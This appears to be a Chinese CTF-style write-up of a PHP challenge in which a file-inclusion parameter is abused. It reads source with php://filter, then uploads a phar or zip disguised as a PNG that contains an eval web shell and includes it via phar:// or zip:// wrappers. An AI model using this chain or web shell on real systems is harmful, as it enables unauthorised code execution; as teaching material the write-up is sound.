相关资源

首先进入的是home.php界面,可以上传文件,但不论上传什么只要Content-Typeimage/png类型的都会被存储为uploads/{random}.png

而且可以注意到点击上传后url为:http://localhost/home.php?fp=upload

点击查看后url为http://localhost/home.php?fp=show&imagekey={random}

推测fp是一个文件前缀,拼接上.php后缀后通过文件包含来实现功能

由此 我们可以通过伪协议php://filter/convert.base64-encode/resource=xxx来读取文件内容

1
2
3
?fp=php://filter/convert.base64-encode/resource=home	# 注意没有.php因为会自动拼接
?fp=php://filter/convert.base64-encode/resource=show
?fp=php://filter/convert.base64-encode/resource=upload

再将得到的base64进行解码即可得到各文件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// home.php
<?php
$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];
if(preg_match('/\.\./',$fp)){ # 不可文件夹穿越
die('No No No!');
}
if(preg_match('/rm/i',$_SERVER["QUERY_STRING"])){
die();
}
?>
<?php
if($fp !== 'fail'){
if(!(include($fp.'.php'))){ # 拼接并文件包含
?>
<div class="alert alert-danger" role="alert">没有此页面</div>
<?php
exit;
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// upload.php
<?php
include 'function.php';
if(isset($_POST['submit']) && !empty($_FILES['image']['tmp_name'])) {
$name = $_FILES['image']['tmp_name'];
$type = $_FILES['image']['type'];
$size = $_FILES['image']['size'];
if(!is_uploaded_file($name)) {
?>
<div class="alert alert-danger" role="alert">图片上传失败,请重新上传</div>
<?php
exit;
}
if($type !== 'image/png') { # Content-Type 必须为png
?>
<div class="alert alert-danger" role="alert">只能上传PNG图片</div>
<?php
exit;
}
if($size > 10240) {
?>
<div class="alert alert-danger" role="alert">图片大小超过10KB</div>
<?php
exit;
}
$imagekey = create_imagekey();
move_uploaded_file($name,"uploads/$imagekey.png"); # 移动至新文件名
echo "<script>location.href='?fp=show&imagekey=$imagekey'</script>";
}
?>

那么我们可以通过pharzip生成带1.php(木马文件)的压缩包,改名为xx.png直接上传,然后再通过伪协议访问1.php

phar

1
2
3
4
5
6
7
8
9
10
11
// phar.php
<?php
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"." __HALT_COMPILER(); "); //设置stub

$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->addFromString("1.php", "<?php @eval(\$_POST['cmd']);?>");
$phar->stopBuffering();
?>
// php phar.php; mv phar.phar phar.png;
1
?fp=phar://uploads/b732b00259385c9a996d4559011ed4f24584003a.png/1	// phar协议会自动解压压缩包内的文件内容,即访问1.php

zip

1
zip 1.zip 1.php
1
?fp=zip://uploads/61afff8789a2e5ac440dfd94c05455fa6dcdd142.png#1	//注意zip协议通过'#'来解压获取压缩包内文件
⬆︎TOP